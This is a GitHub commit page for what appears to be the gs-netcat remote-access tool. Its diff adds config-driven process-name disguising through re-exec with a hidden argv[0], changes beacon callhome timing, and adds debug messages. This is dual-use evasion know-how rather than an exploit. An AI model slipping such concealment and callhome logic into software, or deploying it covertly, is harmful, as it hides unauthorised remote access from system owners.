Skip to content

Commit

Permalink
no sec.dat anymore
Browse files Browse the repository at this point in the history
  • Loading branch information
rootTHC committed Mar 14, 2024
1 parent c1d129b commit 4cdc7ab
Show file tree
Hide file tree
Showing 9 changed files with 269 additions and 138 deletions.
247 changes: 143 additions & 104 deletions deploy/deploy.sh

Large diffs are not rendered by default.

2 changes: 1 addition & 1 deletion include/gsocket/gsocket.h
Original file line number Diff line number Diff line change
Expand Up @@ -252,7 +252,7 @@ enum gs_flags_t {
};

enum gs_net_flags_t {
GS_NET_FL_WAITING_SERVER_CLOSE
GS_NET_FL_WAITING_SERVER_CLOSE = 0x01
};

/*
Expand Down
8 changes: 5 additions & 3 deletions lib/gsocket-engine.c
Original file line number Diff line number Diff line change
Expand Up @@ -769,7 +769,7 @@ sox_read(GS *gs, struct gs_sox *sox, size_t len)
/* HERE: GS-NET can not find a listening peer for this GS-address.
* Disconnect hard.
*/
DEBUGF_R("EOF on GS TCP connection -> treat as ECONNRESET\n");
DEBUGF_R("EOF on GS TCP connection -> treat as ECONNRESET [%s]\n", gs->net.flags & GS_NET_FL_WAITING_SERVER_CLOSE?"Was waiting for Server-Close":"unexpected");
errno = ECONNRESET;
return GS_ERROR; // ERROR
}
Expand Down Expand Up @@ -1261,7 +1261,7 @@ gs_process(GS *gsocket)
if (FD_ISSET(sox->fd, gsocket->ctx->r) || FD_ISSET(sox->fd, gsocket->ctx->w))
{
ret = gs_process_by_sox(gsocket, sox);
DEBUGF("gs_process_by_sox() = %d, status_code=%d\n", ret, gsocket->status_code);
DEBUGF("gs_process_by_sox() = %d, status_code=%d, net.flags=0x%x\n", ret, gsocket->status_code, gsocket->net.flags);

ret = gs_process_error(ret, gsocket, sox);

Expand Down Expand Up @@ -1452,6 +1452,7 @@ gs_net_connect(GS *gsocket)
static void
gs_net_init_by_sox(GS *gs, struct gs_sox *sox)
{
DEBUGF_Y("RE-CREATING SOCKET\n");
gs->net.flags &= ~GS_NET_FL_WAITING_SERVER_CLOSE;
if (sox->fd >= 0) {
XFD_CLR(sox->fd, gs->ctx->wfd);
Expand Down Expand Up @@ -1905,10 +1906,11 @@ gs_close(GS *gsocket)
/* HERE: There are GS-Net connections that need to be cleaned.*/
int i;
/* Close all TCP connections to GS-Network */
DEBUGF_B("Closing %d listening GSRN connections\n", gsocket->net.n_sox);
DEBUGF_B("Closing %d listening GSRN connections (net.flags=0x%x)\n", gsocket->net.n_sox, gsocket->net.flags);
for (i = 0; i < gsocket->net.n_sox; i++)
sox_close(gsocket, &gsocket->net.sox[i]);

gsocket->net.flags &= ~GS_NET_FL_WAITING_SERVER_CLOSE;
gsocket->net.n_sox = 0;

return;
Expand Down
35 changes: 25 additions & 10 deletions tools/4_gs-netcat.c
Original file line number Diff line number Diff line change
Expand Up @@ -1559,29 +1559,44 @@ my_getopt(int argc, char *argv[])
if ((ptr = GS_GETENV2("BEACON")) != NULL)
callhome_min = atoi(ptr);

if ((callhome_min > 0) && (callhome_min < 30)) {
if ((callhome_min > 0) && (callhome_min < 10)) {
if (!(gopt.flags & GSC_FL_OPT_QUIET))
fprintf(stderr, "GS_BEACON=%d set to low. Increased to 30 minutes.\n", callhome_min);
callhome_min = 30;
}
gopt.callhome_sec = callhome_min;
#ifndef DEBUG
gopt.callhome_sec *= 60; // Convert sec to minutes.
gopt.callhome_sec *= 60; // Convert minutes to seconds
#endif

ptr = GS_GETENV2("CONFIG_WRITE");
if (ptr != NULL) {
exit(GSNC_config_write(ptr));
}
ptr = GS_GETENV2("CONFIG_READ");
if ((ptr == NULL) || (*ptr != '0')) {
c = GSNC_config_read(ptr?:gopt.prg_exename);
if (is_config_check) {
if (c != 0)
exit(c);
printf("%s\n", gopt.sec_str);
c = GSNC_config_read(gopt.prg_exename);
if (is_config_check) {
if (c != 0) {
printf("GS_CONFIG_NOT_FOUND=1\n");
exit(c);
}
printf("GS_CONFIG_SECRET='%s'\n\
GS_CONFIG_PROC_HIDDENNAME='%s'\n\
GS_CONFIG_HOST=%s\n\
", gopt.sec_str, gopt.proc_hiddenname?:"", gopt.gs_host?:"");
callhome_min = gopt.callhome_sec;
#ifndef DEBUG
callhome_min = callhome_min / 60;
#endif
if (callhome_min)
printf("GS_CONFIG_BEACON=%d\n", callhome_min);
else
printf("GS_CONFIG_BEACON=\n");
if (gopt.gs_port > 0)
printf("GS_CONFIG_PORT=%d\n", gopt.gs_port);
else
printf("GS_CONFIG_PORT=\n");

exit(c);
}

if (gopt.flags & GSC_FL_OPT_SOCKS_SERVER) {
Expand Down Expand Up @@ -1848,7 +1863,7 @@ int
main(int argc, char *argv[])
{
// my_test();
init_defaults1(argv[0]);
init_defaults1(argv);
init_supervise(&argc, argv);
init_defaults2(argc, &argc, &argv);
my_getopt(argc, argv);
Expand Down
1 change: 1 addition & 0 deletions tools/common.h
Original file line number Diff line number Diff line change
Expand Up @@ -190,6 +190,7 @@ struct _gopt
int callhome_sec; // Only connect every alive_sec to GSRN
char *prg_name; // argv[0]
char *prg_exename; // /proc/$$/exe or argv[0]
char *proc_hiddenname; // argv[0]
uint64_t ts_ping_sent; // TimeStamp ping sent
fd_set rfd, r;
fd_set wfd, w;
Expand Down
24 changes: 22 additions & 2 deletions tools/gsnc-utils.c
Original file line number Diff line number Diff line change
Expand Up @@ -90,6 +90,11 @@ GSNC_config_write(const char *fn) {

snprintf(c.sec_str, sizeof c.sec_str, "%s", gopt.sec_str);

// if (gopt.prg_exename)
// snprintf(c.prg_exename, sizeof c.prg_exename, "%s", gopt.prg_exename);
if ((ptr = GS_GETENV2("PROC_HIDDENNAME")) != NULL)
snprintf(c.proc_hiddenname, sizeof c.proc_hiddenname, "%s", ptr);

if ((ptr = GS_GETENV2("HOST")) != NULL)
snprintf(c.host, sizeof c.host, "%s", ptr);

Expand All @@ -105,7 +110,10 @@ GSNC_config_write(const char *fn) {
if ((ptr = GS_getenv("WORKDIR")) != NULL)
snprintf(c.workdir, sizeof c.workdir, "%s", ptr);

c.callhome_sec = gopt.callhome_sec;
c.callhome_min = gopt.callhome_sec;
#ifndef DEBUG
c.callhome_min = gopt.callhome_sec / 60;
#endif
c.flags |= (gopt.flags & GSC_FL_OPT_TOR);
c.flags |= (gopt.flags & GSC_FL_OPT_DAEMON);
c.flags |= (gopt.flags & GSC_FL_OPT_WATCHDOG);
Expand Down Expand Up @@ -141,6 +149,13 @@ GSNC_config_read(const char *fn) {
FILE *fp;
struct gsnc_config c;
int ret = -1;
char *ptr;

ptr = GS_GETENV2("CONFIG_READ");
if ((ptr != NULL) && (*ptr == '0'))
return -1; // GS_CONFIG_READ=0, force _not_ reading.

fn = ptr?:fn;

if (fn == NULL)
return -1;
Expand All @@ -163,9 +178,14 @@ GSNC_config_read(const char *fn) {
gopt.gs_domain = strdup(c.domain);
if (c.workdir[0] != '\0')
gopt.gs_workdir = strdup(c.workdir);
if (c.proc_hiddenname[0] != '\0')
gopt.proc_hiddenname = strdup(c.proc_hiddenname);

gopt.gs_port = c.port;
gopt.callhome_sec = c.callhome_sec;
gopt.callhome_sec = c.callhome_min;
#ifndef DEBUG
gopt.callhome_sec = c.callhome_min * 60;
#endif
gopt.flags |= (c.flags & GSC_FL_OPT_TOR);
gopt.flags |= (c.flags & GSC_FL_OPT_DAEMON);
gopt.flags |= (c.flags & GSC_FL_OPT_WATCHDOG);
Expand Down
5 changes: 3 additions & 2 deletions tools/gsnc-utils.h
Original file line number Diff line number Diff line change
Expand Up @@ -5,9 +5,10 @@
#define GSNC_CONFIG_MAGIC_XOR (0x1f)
struct gsnc_config {
char host[128];
char proc_hidden_name[128];
char proc_hiddenname[64];
// char prg_exename[128];
uint16_t port;
int callhome_sec;
int callhome_min;
uint32_t flags;
char sec_str[64];
char shell[64];
Expand Down
83 changes: 68 additions & 15 deletions tools/utils.c
Original file line number Diff line number Diff line change
Expand Up @@ -76,28 +76,81 @@ add_env_argv(int *argcptr, char **argvptr[])
#define PROC_SELF_EXE "/proc/self/exe"
#define PROC_SELF_EXE_FBSD "/proc/curproc/file"

static void
try_changeargv0(char *argv[]) {
char *exename;
char *ptr;
#ifdef DEBUG
gopt.err_fp = stderr;
#endif

if ((GS_GETENV2("CONFIG_WRITE") != NULL) || (GS_GETENV2("CONFIG_CHECK") != NULL)) {
DEBUGF("GS_CONFIG_WRITE= or GS_CONFIG_CHECK= is set. Skipping changeargv0\n");
return;
}


if ((argv == NULL) || (argv[0] == NULL)) {
DEBUGF("argv not valid\n");
return;
}
exename = argv[0];

if ((ptr = getenv("_GS_PROC_EXENAME"))) {
// Call ourselves.
gopt.prg_exename = ptr; // strdup() in caller.
DEBUGF("We are not hidden. ARGV0=%s EXENAME=%s\n", argv[0], gopt.prg_exename);
unsetenv("_GS_PROC_EXENAME");
return;
}

// FIXME: Enable this to make it work on linux/fbsd when executed with relative path in argv[0].
// struct stat sb;
// *ptr = NULL;
// if (stat(PROC_SELF_EXE, &sb) == 0)
// ptr = PROC_SELF_EXE;
// if ((ptr == NULL) && (stat(PROC_SELF_EXE_FBSD, &sb) == 0))
// ptr = PROC_SELF_EXE_FBSD;
// if (ptr == NULL)
// return;
// exename = ptr;
ptr = realpath(exename, NULL /* will malloc */);
if (ptr == NULL) {
DEBUGF("exename not found [%s]\n", exename);
return;
}
exename = ptr;

// HERE: Switch to argv0 to different name.
// Load config
if (GSNC_config_read(exename) != 0) {
DEBUGF("GSNC_config_read() failed\n");
return;
}

if (gopt.proc_hiddenname == NULL) {
DEBUGF("Config has no PROC_HIDDENNAME.\n");
return;
}

setenv("_GS_PROC_EXENAME", exename, 1);
argv[0] = gopt.proc_hiddenname;
execv(exename, argv);
DEBUGF("execv()=%s\n", strerror(errno));
// Silently ignore. Continue with current argv0 name.
}

void
init_defaults1(char *argv0) {
init_defaults1(char *argv[]) {
char *argv0 = argv[0];
if (GS_GETENV2("STEALTH") != NULL)
gopt.flags |= GSC_FL_IS_STEALTH;
#ifdef DEBUG
gopt.is_built_debug = 1;
#endif
gopt.prg_name = NULL;

// Find my own binary.
// FIXME-2024: On non-unix this may fail if argv[0] was changed.
// Currently this does not matter because we only use it for GSNC_config
struct stat sb;
char *ptr = NULL;
if (stat(PROC_SELF_EXE, &sb) == 0)
ptr = PROC_SELF_EXE;
if ((ptr == NULL) && (stat(PROC_SELF_EXE_FBSD, &sb) == 0))
ptr = PROC_SELF_EXE_FBSD;
if ((ptr == NULL) && (stat(argv0, &sb) == 0))
ptr = argv0;
if (ptr != NULL)
gopt.prg_exename = strdup(ptr);
try_changeargv0(argv);

gopt.prg_name = argv0;
if ((gopt.prg_name != NULL) && (gopt.prg_name[0] == '/'))
Expand Down Expand Up @@ -151,7 +204,7 @@ init_defaults2(int argc, int *argcptr, char **argvptr[])

void
init_defaults(int argc, int *argcptr, char **argvptr[]) {
init_defaults1(*argvptr[0]);
init_defaults1(*argvptr);
init_defaults2(argc, argcptr, argvptr);
}

Expand Down
2 changes: 1 addition & 1 deletion tools/utils.h
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@
#ifndef __GSNC_UTILS_H__
#define __GSNC_UTILS_H__ 1

void init_defaults1(char *argv0);
void init_defaults1(char *argv[]);
void init_defaults2(int argc, int *argcptr, char **argvptr[]);
void init_defaults(int argc, int *argcptr, char **argvptr[]);
void init_vars(void);
Expand Down

0 comments on commit 4cdc7ab

Please sign in to comment.